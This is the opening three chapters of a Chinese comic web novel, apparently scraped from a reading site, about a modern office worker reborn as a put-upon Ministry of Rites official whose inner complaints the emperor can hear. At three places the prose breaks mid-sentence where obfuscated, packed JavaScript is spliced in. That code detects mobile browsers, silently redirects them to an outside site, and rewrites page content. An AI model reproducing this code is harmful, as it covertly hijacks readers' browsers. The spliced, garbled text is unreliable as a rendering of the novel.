《双面社畜打工指南》 1. 第 1 章 卯时三刻。 天光挣扎着,刚从墨汁里勉强透出点灰。 林砚觉得自己就是那点灰。 他摇摇晃晃蹭进礼部祠部司的公廨大门,脚下踩的仿佛不是青砖,而是现代早高峰地铁里无数双沾着韭菜盒子味儿的鞋。 眼皮沉得像挂了两个秤砣,每一次掀开都需要动用全身社畜之魂的残余意志力。 点卯的铜锣声敲得他天灵盖嗡嗡作响。 “林员外郎早啊!”门口书办堆着笑,声音洪亮得能震醒坟里的十八辈祖宗。 林砚喉头艰难地滚了滚,挤出一个堪称面部肌肉抽搐的笑容:“早。” 声音干涩沙哑,活像被砂纸打磨过。 他在自己那张堆得如同小型垃圾填埋场的案牍后瘫坐下来,木椅发出不堪重负的呻吟。 公文山扑面而来,散发着属于社畜林砚的独特气息。 林砚的眼珠子直勾勾地盯着那堆纸,是他还没有编完的《为恭陈祭天盛典感召灵禽呈祥事》。 其实林砚更愿意称呼这份狗屁奏章的内容为《论祭天时乌鸦左飞三圈之祥瑞考》。 林砚感觉自己喉咙里堵着一团烧了三天三夜都没烧透的煤渣。 这古代的金饭碗里装的怕不是孟婆汤兑了隔夜馊水,让人端着碗想死。 现代缺德领导智障同事无穷PPT的噩梦,原来是个永不结束的轮回。 他林砚,不知上辈子是炸了银河系还是踹了阎王殿的门,才换来这穿越的福报。 上有祠部郎中武大人,端坐钓鱼台,稳如泰山,所有“体察上意”“关乎国体”的活儿,都能精准地、优雅地、理所当然地,滑到他林砚的案头。 下有一群主事、令史,个个都是人才,左边那位年轻的主事,一路捡漏愣是把自己捡进了京城,进了礼部做事,右边那位老令史,慢悠悠地研磨着墨锭,动作之舒缓,堪比公园里打太极的老大爷,林砚怀疑他磨完这锭墨,能直接赶上下班的时间。 “林员外郎。”武郎中那圆润得能滴出油来的嗓音,毫无预兆地穿透公廨的沉闷空气,精准地砸在了林砚耳中。 武海闵身形精干,不过三十来岁年纪,一身浅绯穿得熨帖整齐,步履轻捷无声,踱过来时像一片滑不留手的瓷片。 “那份祥瑞考,陛下可是等着要的。”他停在案前,脸上挂着恰到好处,令人如沐春风的笑容,“你文采斐然,见解独到,此等重任,非你莫属,你辛苦一下,快些写出来。” 武海闵那只保养得宜的手,看似随意地落在林砚那摞关于乌鸦的狗屁草稿上,指尖轻轻一弹,拂起一层薄灰,动作轻巧得像掸去一片无足轻重的落叶。 “本官深知你辛苦,能者多劳嘛。”他微微倾身,声音压低了些,带着一种推心置腹的诚恳,“栽培你这样的后起之秀,是本官分内之事,也是你的造化。” 那笑容依旧挂在脸上,眼睛弯弯的,却像两潭深不见底的静水,映不出丝毫真切的暖意,只透着精明的盘算。 “待此稿呈上御览,陛下龙心大悦,头功自然稳稳落在你名下,届时你便能更进一步,前途无量。”武海闵顿了顿,语气陡然带上几分语重心长的期许,“放手去干,莫要辜负了这份天恩与本官的期许。” 林砚的腰板瞬间挺得笔直,脸上如同被无形的丝线扯出一个标准弧度,恭敬温顺,滴水不漏:“大人谬赞,下官惶恐,定为大人分忧,肝脑涂地,在所不惜。” 每一个字都像从蜜罐里捞出来,裹满了甜腻的忠诚,微微垂首,姿态也谦卑得恰到好处。 林砚心底却有一万匹马在奔腾。 爸了个鸡的! 你爹要不是吏部尚书,你看我搭不搭理你? 林砚深吸一口气,尽量让自己的杀意不要泄露。 他这龟孙顶头上司武海闵,有一个当吏部尚书的爹,吏部啊,掌管着官员考核,林砚得罪不起,得罪了武海闵,不光是他的考核会受到影响,还有他爹的、他舅的、他外放到地方的兄长的,都跑不了。 不能因为他一人拖累全家,林砚只得每天忍气吞声伺候武海闵这大爷。 今有“我的区长父亲”。 古有“我的吏部尚书”父亲。 分忧?分你个大头鬼的忧! 肝脑涂地?我看你是想让我脑浆子都熬出来糊你的墙! 乌鸦左飞三圈?它怎么不直接飞你头顶拉泡屎开个光? 还祥瑞考?考你奶奶个腿儿!这破玩意儿除了烧给灶王爷糊墙,还能干嘛?擦屁股都嫌硌得慌! 前途无量?无量个屁!钱多事少离家近的好事,这辈子下辈子下下辈子都轮不到老子头上!我就是那拉磨的驴,还是蒙着眼原地转圈那种! 能者多劳?我去你祖宗的能者多劳!活全是我干,锅全是我背,功劳你全收!你那张脸皮是城墙拐角砌的吧?厚得能防大渝神机营的火炮了! 林砚在心里将武海闵好一通问候,又挂着假笑把武海闵给送走,这才慢慢地研磨提笔,继续写那份神经病奏章。 想归想,闹归闹,不能拿脑袋开玩笑,林砚下笔后,每一个字都充满了自己对当今圣上的赞美。 伏惟陛下,德合穹昊,道贯幽明。 至诚格天,精禋有赫。 前日南郊大祀,紫气氤氲,瑞霭纷披。 当陛下降阶,祼献方终,玉帛斯陈之际。 忽有玄鸟,秉贞一之性,应太和之机,自巽方振翼而来。 其羽如墨,其鸣清越,迥异凡俦。 盘旋于泰坛之上,仪态端方,不惊不扰。 尤可异者,此灵禽循天道之规,遵阳数之极。 首自左而旋,周行三匝,其轨圆融,其度精准,若合符契于周天星斗之序。 每一盘旋,皆引祥光隐现,瑞气蒸腾,观者无不肃然动容,咸谓圣德所召,天心眷顾之明征也。 臣谨考《周礼·春官》,有“大司乐掌六律、六同,以致天地神示”之训;《易·系辞》云:“在天成象,在地成形,变化见矣。” 今玄鸟应机示象,左旋三匝,盖合三才之数,契阳德之盛,兆国祚之永固,彰圣化之无疆。 实乃陛下至诚感神,上苍垂慈,降此祯符,以慰黎元仰望之心。 臣职司祠祭,目睹灵瑞,不胜欣忭踊跃之至。 谨据实敷陈,援引经义,诠次其祥,恭缮成文,昧死以闻。 伏乞圣鉴。 林砚终于还是将这份拍马屁用的奏章给写完了。 不过写完之后他没有立即给武海闵送去,打工,不能太积极,现在把工作做完了交差了,武海闵就会立马给他找新的事情做。 他连自己分内的活都还没有干! 礼部祠部员外郎,听起来很高大上,其实是个六品官,管国家祭祀、天文历法、佛道寺观、僧道度牒、丧葬仪制等事务,繁琐得很,一年有一百四十石禄米,四百亩职田,白银十六两。 作为年轻人,林砚在这个官位上是非常好的,做得好升迁不是问题,奈何他的上头是武海闵,是吏部尚书的儿子,武海闵做得不好也不会离开这个位置,有武海闵挡在前面,林砚想晋升很难。 林砚每天都想宰了上司。 可,杀人是犯法的。 算鸟算鸟,自己不容易。 林砚刚把那份给乌鸦歌功颂德的狗屁奏章塞到公文山最底层,打算让它发会儿霉,喘口气的功夫都没有,一道阴影精准地笼罩了他案头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434131|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>郑主事,郑经。 礼部祠部司著名的“捡漏王”,一路靠祖坟冒青烟和同僚集体倒血霉,成功混进京城,混进礼部。 此刻,他脸上堆着一种介于心虚和谄媚之间的复杂笑容,怀里抱着一大摞卷宗,摇摇晃晃,像一座随时会崩塌的纸糊危楼。 “林大人。”郑经的声音带着点刻意拔高的热情,试图掩盖某种底气不足,“您看,春秋二祀、祈雨祭山的流程与预算,下官……下官都初步审过了。” 他动作麻利地把那堆卷宗“咣当”一声卸在林砚桌上,动作之快,生怕林砚说出半个“不”字,纸堆顶端几张预算单子被震得滑落下来,差点盖住林砚刚磨好的墨。 林砚:“……” “初审好了,就等您核签。”郑经搓着手,笑容扩大,露出一口不算整齐的牙,“您办事,那叫一个稳妥,咱们司里谁不夸您细致?” 郑经一边说,一边悄悄往后挪了小半步,仿佛林砚桌上盘踞的不是卷宗,而是即将喷发的火山。 林砚盯着眼前瞬间拔高的“新山脉”,他顿时就理解了堆积岩的形成。 来了,又来了。 林砚闭眼。 初审?你审个锤子! 你那双眼睛除了能精准识别哪里可以偷懒,还能干点人事吗? 这流程预算但凡能审明白一个字,我当场把砚台吃了! 现代那个只会转发邮件、问弱智问题的郑姓同事,是你失散多年的亲兄弟吧? 苍天啊! 同一个世界,同一款智障同事! 穿越都躲不过这种职场生物多样性吗? 林砚脸上肌肉自动切换,一个标准、温和、甚至带着点鼓励性质的笑容迅速成型,嘴角上扬的角度精确到毫米。 “郑主事辛苦了。”他声音平稳,听不出丝毫波澜,甚至还带着点恰到好处的赞许,“动作真快。” 郑主事像是得到了莫大鼓舞,腰板都挺直了些。 “应该的应该的!为大人分忧嘛!”他嘿嘿笑着,又退了一步,“那……那您先忙,下官就不打扰您了!” 说完,脚底抹油,溜得比兔子还快,一眨眼就缩回了自己的角落。 动作之迅捷,与他刚才抱卷宗时的笨拙判若两人。 林砚心里暗叹:好一个静若郑经,动若脱兔。 林砚看着那溜走的背影、又看看眼前这堆散发着“坑爹”气息的卷宗,缓缓地、深深地,吸了一口公廨里混杂着陈年墨臭、汗味和某种可疑食物残渣的空气,试图压下胸腔里那团即将爆炸的怨气。 分忧?添堵还差不多。 这流程预算要是签了,回头出了纰漏,锅铁定是他背,武海闵那孙子绝对第一个跳出来撇清关系,郑经只会一脸无辜地说“林员外郎签了的呀”。 一想到自己不但不能跳过武海闵升职,还有可能被郑经升职,林砚捏着笔的手“咔咔”作响。 林砚认命地翻开最上面那本祈雨祭山的预算,目光扫过密密麻麻的条目。 看着看着,林砚那点仅存的困意,直接被气飞了,飞到九霄云外,顺便做了个托马斯全旋。 他一年的银子才十六两,什么祭祀买点香烛钱纸需要五十两?! 林砚捏着预算单的手指有点抖。 不是怕、是气的。 他仿佛已经看到户部炸毛的样子,看到武海闵推锅时那虚伪又痛心疾首的表情,看到郑主事一脸“不关我事”的茫然无辜。 林砚闭上眼,又缓缓睁开,认命地拿起笔,开始一个字一个字地抠。 像在粪坑里淘金子。 姓郑的。 我诅咒你的私房钱被你夫人全部拿走! 福生无量天尊。 2. 第 2 章 酉时三刻,夕阳像个煎糊的荷包蛋,蔫蔫地挂在天边。 林砚踩着这个精确到秒的下班点,将那份散发着墨香以及他怨气腌入味的《祥瑞考》轻轻放在武海闵案头,姿态标准得像给死人上贡。 武海闵正慢条斯理地整理袖口,眼皮微掀,扫过那厚厚一叠纸,脸上瞬间绽放出一种“吾家有儿初长成”的欣慰光芒。 “嗯,不错,林员外郎。”他拿起奏章,指尖拂过封面,动作轻柔得像在抚摸稀世珍宝,“瞧瞧这字迹,这文采,这格局,可见本官平日里对你的督促与引导,没有白费功夫。” 林砚垂手肃立,脸上挂着“深受教诲、感激涕零”的模板笑容。 督促?引导? 你那张嘴除了吃饭画饼和叭叭叭,还会干啥? 这奏章每一个字都浸透了我的血泪和唾沫星子好吗!那格局是被你逼到墙角硬挤出来的! 还格局,要不是你爹是吏部尚书,我让你知道什么叫格斗。 武海闵放下奏章,踱步过来,亲切地拍了拍林砚的肩膀,那力道,在林砚感觉,像是驴主人给刚拉完磨的驴顺毛,充满了“干得不错,下次还找你”的暗示。 “年轻人,就是要多担担子,多压压担子,才能成长得快嘛。”武海闵语重心长,眼神里闪烁着“为你好”的圣光,“你看,这份奏章一呈上去,陛下必定龙颜大悦,这份功劳,本官心里有数,定会如实为你表功,好好干,前途大大的有!咱们祠部司的未来,就在你们这些肯干、能干、会干的年轻人肩上扛着呢!” 扛你个头! 我还恐龙扛狼呢! 这破担子压得林砚腰椎间盘都快离家出走了,实在是不欲听武海闵口中的狗屁话。 前途?大大的有?坑大大的有吧! 功劳?怕不是最后都变成你武大人的栽培有方? 还未来?我未来只想把你这尊佛扛出祠部司! “大人教诲的是,下官定当铭记于心,为大人、为祠部司鞠躬尽瘁。”林砚的声音稳如老狗,表情虔诚得可以去庙里当塑像。 武海闵终于满意点头,挥了挥手,恩赐般吐出两个字:“去吧。” 林砚如蒙大赦,转身的瞬间,脸上虔诚的塑像脸“啪叽”碎了一地,只剩下麻木的社畜躯壳,走出公廨大门,感觉外面的空气都带着一股“刑满释放”的自由味儿。 林府那辆半旧不新的青篷马车,像个忠实的老狗,早已等在街角。 林砚几乎是把自己“卸”进了车厢。 车帘一放,隔绝了外界。 林砚连“到家叫我”都懒得说,脑袋往车厢壁上一靠,下一秒,均匀的呼吸就在狭小的空间里回荡起来。 什么礼部,什么武海闵,什么乌鸦祥瑞,统统被睡梦碾碎。 睡眠,是他对抗这个操蛋世界唯一的充电宝,电量告急,必须立刻进入待机模式。 马车晃晃悠悠,碾过京城的石板路,碾过林砚破碎的呼吸声,终于停在了林府门口。 车夫老张头等了半晌,听着里头没有动静,只好无奈地敲了敲车厢壁:“少爷,到家了。” 车厢里绵长的呼吸戛然而止,接着是几声迷蒙的嘟囔和身体碰撞木板的闷响。 林砚顶着一头睡得支棱起来的乱毛,眼神涣散地钻出车厢,脚步虚浮得像踩在云端。 一进家门,饭菜的香气瞬间刺穿了林砚的困倦神经。 母亲文韫正指挥着丫鬟布菜,她气质温婉,穿着素雅的藕荷色襦裙,见他回来,脸上立刻漾开温柔的笑意:“砚儿回来了?快净手,就等你了,今日有新鲜的鳜鱼。” 父亲林承稷,在工部任职、气质沉稳如古井的中年文官,已端坐主位,他抬眼看了看儿子那副灵魂被工作抽干的尊容,没说什么,只是用眼神示意他赶紧落座。 林砚一屁股墩在熟悉的雕花木凳上,感觉骨头缝都在叫嚣着要散架。 他抓起筷子,目标明确地直奔那盘油光红亮的红烧肉。 人是铁饭是钢,一顿不吃饿得慌。 更何况在礼部吃的午饭早就消化得一干二净了,林砚吃饭的架势与饿虎扑食无异。 林砚埋头干饭,腮帮子塞得鼓鼓囊囊,试图用碳水炸弹填满被工作掏空的身心。 林承稷放下筷子,拿起旁边的湿布巾擦了擦嘴,动作不疾不徐,他清了清嗓子,声音不高,语气平静得像在说明日河工堤坝的勘察进度。 “砚儿。” 林砚正夹起一块鲜嫩的鳜鱼肚腩,含糊应道:“嗯?” 林承稷看着他,目光沉静,吐字清晰:“陛下今日召见为父,亲口点了你。” 林砚的筷子停在半空,鱼肉颤巍巍的。 他眨巴眨巴眼,有点懵。 点我?点我干啥? 点我去给工部新修的堤坝题字? 还是去研究祭天坛的排水系统升级方案? 林承稷顿了一下,似乎给儿子留了半秒的消化时间:“让你去当暗卫,专司监察礼部。” 林砚嘴里那块没来得及咽下去的鳜鱼肉,“啪嗒”一声,掉回了碗里,汤汁溅起一小朵油花。 他脸上的表情,从懵懂,到茫然,再到一点点裂开。 身体像是瞬间被抽掉了所有骨头,顺着光滑的木凳面,“哧溜”一下,整个人就往下滑。 屁股悬空,只有两只脚还顽强地勾着凳腿,维持着一个极其狼狈的“半坐半溜”姿势。 文韫连忙去拉林砚:“砚儿!” 林砚整个人还处于灵魂出窍,身体自由落体的状态,被母亲这么一拉,非但没坐稳,反而像条滑不留手的泥鳅,“哧溜”一下,彻底从凳子上溜了下来,一屁股墩结结实实地砸在了冰凉的地砖上。 “哎哟!”尾椎骨传来的钝痛让林砚瞬间清醒了大半,但脑子里的浆糊依旧没散干净。 他坐在地上,一手捂着摔疼的屁股,一手还徒劳地伸向空中,仿佛想抓住刚才掉下去的鱼肉,或者抓住那个荒谬绝伦的消息。 林砚仰着脖子,视线艰难地越过桌沿,落在父亲那张依旧古井无波的脸上,声音都变了调,带着劫后余生的颤抖和难以置信的荒谬:“爹……爹?!您……您刚说什么?风太大我没听清?暗卫?监察礼部?我?!” 林承稷垂眼看了看坐在地上、一脸“我是谁我在哪我听到了什么鬼话”的儿子,眉头都没动一下,仿佛林砚只是不小心掉了根筷子。 他拿起布巾,又慢条斯理地擦了擦嘴角根本不存在的油渍,语气平稳得如同在念工部仓库的物料清单:“不错,陛下亲口所言,着你为暗卫,专司监察礼部官员行止,密报于御前。” 林砚:“……” 不是,这对吗? 让他一个文人当暗卫? 林砚在穿越到这个历史上不存在的大渝王朝前,那也是看过小说的,小说里皇帝的暗卫不都是武功高强、神出鬼没?他哪里符合条件了? 更重要的是——一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434132|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在礼部辛辛苦苦做牛马,一边还要给皇帝当暗卫,那他岂不是007了? 生产队的驴都没这么使唤的! 林砚猛地打了个激灵,像被一盆冰水从头浇到脚,手脚并用地想从地上爬起来,奈何腿还有点软,动作笨拙得像个刚学会翻身的王八,还是文韫拉了一把才成功坐回了凳子上。 “爹!这活儿……这活儿我能不能不干?”林砚都要哭了,“儿子我、我何德何能啊?礼部那点破事……不对,那点公务,儿子都快忙得脚打后脑勺了,再加个暗卫的差事……儿子怕耽误陛下的大事啊!” 林砚努力挤出“忧国忧民”的表情,试图唤起老父亲的同理心。 文韫在一旁看得心疼又有点好笑:“你这孩子,慌什么?陛下赏识你,是好事。” 她转向丈夫,温婉的眉眼间也带上了一丝不易察觉的忧虑:“夫君,这暗卫听着就辛苦,砚儿这身子骨,吃得消吗?” 林承稷放下布巾,目光平静地扫过狼狈的儿子和担忧的妻子,终于说了句让林砚眼前一黑的话。 “陛下还说了。”林承稷顿了顿,似乎在回忆皇帝的原话,“林卿近日辛苦,朕心甚慰,待他明日入宫面圣,朕自有安排。” 林砚:“!!!” 明日?! 明日是十天一次的休沐日啊! 林砚眼前发黑。 他好不容易才熬到了休沐日,皇帝就如此无情地把他的休沐时光给剥夺了?怎么可以这么过分! “明日?”林砚的声音像是从破风箱里挤出来的,带着濒死的绝望,“爹,确定陛下说的是明日?休沐的那个明日?” 林承稷看着儿子那副天塌地陷的表情,眼神里终于掠过同情,但那丝情绪消失得太快,快得像幻觉。 他依旧是那副沉稳如工部石墩子的模样,点了点头:“不错,正是明日,休沐之日。” 他甚至还补充了一句,精准地在林砚那濒临破碎的心口上又捅了一刀:“陛下言,寅时三刻,宫门东侧角门,自有人接引。” 寅时三刻?! 鸡都还没打鸣啊陛下! 入宫用得着这么早吗?就不能让他多睡一会儿? 林砚感觉一股热血直冲天灵盖,他“嗷”一声,额头重重磕在冰冷的桌面上,发出沉闷的“咚”响。 “砚儿!” 文韫吓得花容失色,连忙去扶他。 林砚趴在桌上,脸埋在臂弯里,肩膀剧烈地耸动着,发出压抑的、类似濒死小兽般的呜咽。 完了。 全完了。 他的休沐日。 他的懒觉。 他晒太阳回血的宏伟计划…… 全都被皇帝是一句话给一键清空了! “夫君!”文韫心疼地抚着儿子的背,看向丈夫,温婉的眉宇间满是焦虑,“这暗卫砚儿是非做不可?” 林承稷沉默了片刻,看着趴在桌上仿佛已经灵魂出窍的儿子,又看了看焦急的妻子,缓缓开口,声音依旧平稳,但说出的话却让林砚彻底断了念想:“圣意已决。” 林砚猛地从桌上抬起头,额头上红了一片,眼神空洞,表情麻木,仿佛被抽走了所有精气神,只剩下一个社畜的空壳。 他用一种看破红尘的语气,幽幽地说:“娘,九族要紧。” 林砚听闻当今圣上御下极严,他们家可没有丹书铁券这东西。 去就去吧,皇帝也不能一直留他在宫里,等他出宫了再回家睡觉。 3. 第 3 章 寅时三刻,万籁俱寂,连蛐蛐都困得打哈欠。 林砚觉得自己像个被强行开机的老式电脑,每一步都带着卡顿的呻.吟。 要不然还是把他放在转转上回收了吧。 把自己塞进那辆仿佛下一秒就要散架的马车里,林砚后背挺得笔直,活像根插在车厢里的标枪——生怕一个不小心,脑袋靠歪了,把好不容易梳得一丝不苟的头发蹭乱,落个“御前失仪”的罪名,连累全家。 马车在空旷寂静的街道上轱辘前行,声音格外清晰,每一次颠簸都精准地砸在林砚脆弱的神经上,眼皮重若千钧,全靠“诛九族”三个血淋淋的大字吊着最后一口气,支撑着他不至于当场表演一个五体投地. 宫门在浓重的夜色里显露出庞大而沉默的轮廓,像一头蛰伏的巨兽。 林砚刚下车,脚底板还残留着马车的震动感,一个穿着靛蓝宦官服饰的人影便幽灵般从角门阴影里飘了出来。 “林大人?”来人声音不高,带着宦官特有的尖细,脸上堆着恰到好处,仿佛用尺子量过的恭敬笑容,“奴婢李莲顺,奉陛下口谕,在此恭候大人多。” 李莲顺? 哦,他爹说过,这个李莲顺是太监总管李德福的干儿子,不能得罪的人。 “有劳李公公。”林砚摸出一个荷包奉上。 钱不多,但是心意要表明,这是态度问题。 李莲顺笑呵呵地接了银子:“林大人请跟奴婢来。” 跟着李莲顺穿过一道道森严的宫门,林砚像个被设定好程序的机器人,目不斜视,脚步规矩,但眼角余光还是不受控制地扫过那些巍峨的宫殿轮廓。 飞檐斗拱在熹微的晨光里显出模糊的剪影,巨大的鸱吻沉默地蹲踞在屋脊两端,长长的宫道仿佛没有尽头,两侧朱红的高墙压得人喘不过气。 大气磅礴,很壮观,也很……费腿。 林砚麻木地想,这皇宫设计者一定没考虑过社畜的通勤问题。 不知走了多久,绕了多少弯,腿肚子已经开始打颤抗议,终于在一座格外宏伟、殿前有着长长龙尾道的大殿前停下,殿门上悬着巨大的匾额:太仪殿。 “林大人请在此稍候,奴婢这就去通传。”李莲顺躬了躬身,悄无声息地退入殿内。 林砚站在空旷的殿前广场上,晨风带着深秋的寒意,刮得他官袍猎猎作响。 他像个被罚站的倒霉学生,眼观鼻,鼻观心,内心的小人却在疯狂计算,从宫门走到这里用了许久,通传又等了许久…… 皇帝大佬,您知道休沐日的懒觉有多珍贵吗?折算成工时,这加班费您打算怎么结? 想归想,林砚却清楚,加班费这种东西是不可能有的。 就在林砚感觉自己快要冻成一根人形冰棍,当场表演一个“御前扑街”时,李莲顺终于又飘了出来,脸上那标准笑容纹丝不动:“林大人,陛下宣召,请随奴婢来。” 林砚深吸一口带着皇家威严的冰冷空气,提着一口气,迈着仿佛灌了铅的腿,跨过了那道高高的门槛。 殿内温暖如春,沉水香的气息幽幽浮动。光线不算太亮,却足够林砚看清龙椅上坐着的人。 然后,他脑子里的弹幕卡壳了零点一秒。 龙椅上那位……长得有点过于好看了吧? 不是想象中那种威严慑人、满脸写着“朕不高兴”的帝王相。 相反,萧彻的眉眼生得极其精致,鼻梁挺直,唇色偏淡,皮肤在殿内柔和的光线下透出一种冷玉般的质感。 他穿着玄色常服,金线绣着暗龙纹,只是随意地倚在那里,周身却自然流露出一股不容侵犯的沉静威仪。 美人,实打实的美人。 但“美人”这个念头刚冒出来,就被“皇帝”两个金光闪闪的大字“哐当”一声砸得粉碎。 再好看也是老板!是能一言定你九族生死的终极甲方! 林砚瞬间进入一级警戒状态,扑通一声跪得那叫一个标准流畅,额头“咚”地一下轻轻触在光可鉴人的金砖上,声音带着恰到好处的恭敬与一丝不易察觉的疲惫沙哑:“微臣林砚,叩见陛下,吾皇万岁万岁万万岁。” 动作标准得可以直接录入《大渝朝臣觐见礼仪规范》当示范。 “平身。”萧彻的声音响起,不高,带着一种玉石相击般的清冷质感,在空旷的大殿里显得格外清晰。 林砚谢恩起身,垂手肃立,眼观鼻鼻观心,姿态谦卑得像只缩进壳里的鹌鹑,内心却在疯狂腹诽。 膝盖好痛,砖好硬,皇帝大佬您这地板该铺个地毯,对打工人的膝盖友好一点。 “林卿不必拘礼。”萧彻的目光落在林砚身上,那目光平静无波,却让林砚感觉像被X光扫描了一遍,“令尊林侍郎乃国之干城,林卿在礼部,听闻亦是勤勉有加,克己奉公,实为青年才俊之楷模。” 来了来了! 老板的经典开场白——夸你!先给你戴顶高帽! 林砚内心警铃大作,面上却立刻做出“受宠若惊”的表情,腰弯得更低:“陛下谬赞,微臣惶恐!家父常教导微臣恪尽职守,为陛下分忧乃臣子本分,微臣才疏学浅,唯恐有负圣恩。” 一套标准得体的官场马屁,拍得行云流水,毫无灵魂。 恪尽职守是真的,克己奉公是被逼的,马屁在在武海闵那练出来的。 只有林砚深深地知晓,自己并非楷模,也不是什么青年才俊,他,只是一个青年社畜。 “嗯。”萧彻似乎对他的回答还算满意,目光扫过林砚眼下那两团浓重的青黑,指尖在御案上轻轻一点,“来人,给林卿看座。” 一个侍立的小太监立刻麻利地搬来一个紫檀木绣墩,放在了御阶之下。 赐座?! 林砚是真的有点懵了,他一个六品小虾米,第一次面圣,居然有座位? 这待遇……有点超标啊! “微臣谢陛下隆恩!”林砚赶紧又谢恩,小心翼翼地挨着绣墩的边沿坐下,只敢坐实三分之一屁股,腰板挺得依旧笔直,仿佛随时准备弹起来领命。 坐下就是比站着舒坦。 不管皇帝大佬要给自己安排什么辛苦活儿,好歹还给赐座,表面功夫做得不错,武海闵就知道压榨他,一点好处都没有给过。 皇帝这个领导,应该比武海闵要好吧? 林砚心里想着。 龙椅上,原本姿态放松,眼神带着点例行公事般审视的萧彻,搭在扶手上的指尖,几不可察地微微一顿,那双沉静如深潭的眼眸里,极快地掠过一丝极其细微的涟漪,仿佛平静的水面被投入了一颗微小的石子。 萧彻的目光,重新聚焦在下方那个坐得规规矩矩、一脸“我很老实我很惶恐”的年轻官员身上,唇角几不可察地向上牵动了一个几乎无法被捕捉的弧度。 他似乎发现了什么有趣的事情。 试探试探看看。 林砚屁股刚沾上那三分之一的紫檀木绣墩,还没来得及感慨“老板椅”的舒适度,龙椅上的终极甲方就发话了。 萧彻换了个更随意的坐姿,手肘支在扶手上,指尖有一下没一下地轻点着太阳穴,目光看似随意地落在林砚身上,那眼神平静得像是在欣赏御花园里一块平平无奇的石头。 “林卿在祠部司,日常公务想必甚是繁冗?”萧彻开口,声音依旧是那种清冷的调子,仿佛在聊今天天气不错。 林砚腰板瞬间绷得更直,脸上自动加载“感激涕零”表情包:“回陛下,为朝廷效力,为陛下分忧,乃臣子本分,实不敢称繁冗。” 语气真诚得能拿奥斯卡小金人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434133|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【知道我公务多为什么还要让我当暗卫?】 【陛下您知不知道就因为那只乌鸦,我琢磨了多长时间才帮武海闵把奏章写出来?每次他的活都要扔给我干啊!】 【还有郑经那甩锅王甩过来的预算,那玩意儿要是真的,户部尚书能当场表演一个原地升天!繁冗?这词儿太温柔了,那叫社畜的地狱循环!】 萧彻搭在太阳穴上的指尖,微不可查地停顿了半拍。 他端起手边的青玉茶盏,借着氤氲的热气遮掩,唇角那丝玩味的弧度加深了一分。 这林砚的心声……比奏章有趣多了。 “嗯,勤勉可嘉。”萧彻放下茶盏,语气平淡地肯定了林砚的场面话,随即话锋一转,像是闲聊般,“礼部诸卿,林卿平日接触颇多,同僚之间相处,可还融洽?” 林砚心头警铃大作,可不能在大领导面前说同事坏话! 他立刻启动最高防御模式,脸上堆起恰到好处的、仿佛沐浴在礼部和谐春风中的笑容:“回陛下,礼部诸位大人皆乃国之栋梁,学养深厚,同僚之间,更是谦逊有礼,互相扶持,一团和气,微臣深沐其中,受益匪浅。” 字正腔圆,充满了对同僚之情的赞美。 【呵呵。】 【武海闵那厮,画饼技术炉火纯青,压榨手段登峰造极,他爹要不是吏部尚书,我第一个把他塞进祭天炉里当燃料!】 【郑经那就是个人形盖章器加甩锅侠,他那双眼睛除了能精准识别怎么好摸鱼,还能干啥?哦对,还能在他夫人查账时表演瞬间失明。】 【有那位慢悠悠磨墨的王主事,动作慢得以为他是在给墨锭做临终关怀,磨完一锭墨能直接打卡下班!互相扶持?我呸!】 萧彻听着林砚内心那汹涌澎湃、火力全开的“礼部全员批斗大会”,差点没维持住帝王的威严。 他微微侧过头,手握成拳抵在唇边,掩饰性地轻咳了一声。 武海闵塞祭天炉? 郑经人形盖章器? 王主事给墨锭做临终关怀? 这林砚……骂人还挺有画面感。 “哦?”萧彻的声音里带上了一丝极淡的、难以捉摸的兴味,仿佛真的对林砚口中“和谐”的礼部产生了浓厚的兴趣,“朕听闻,祠部郎中武海闵,颇有乃父之风,处事干练,林卿以为如何?” 来了来了,点名道姓了! 林砚后背瞬间沁出一层薄汗,面上笑容更加灿烂,语气充满了对领导的无限敬仰:“武郎中才干卓绝,处事明快,提携后进不遗余力,实乃下官楷模,微臣在武郎中麾下做事,如沐春风,获益良多。” 彩虹屁吹得那叫一个清新脱俗。 【楷模?呸!压榨下属的楷模!处事明快?甩锅的速度明快吧!提携后进?提携我去给他收拾烂摊子还差不多!如沐春风?我那是被他的饼噎得喘不过气!获益良多?他身上能学到什么?画饼吗?还颇有乃父之风?把儿子养成这个样子,他爹能是什么好东西?】 “噗——” 一声极其轻微,仿佛是被茶水呛到的声音,从萧彻那边传来。 林砚吓得一激灵,赶紧把头垂得更低,心里疯狂祈祷:完了完了,皇帝大佬是不是觉得我回答得太假了?九族!九族要稳! 只见萧彻迅速拿起一份摊开的奏章,遮住了大半张脸,肩膀几不可察地微微耸动。 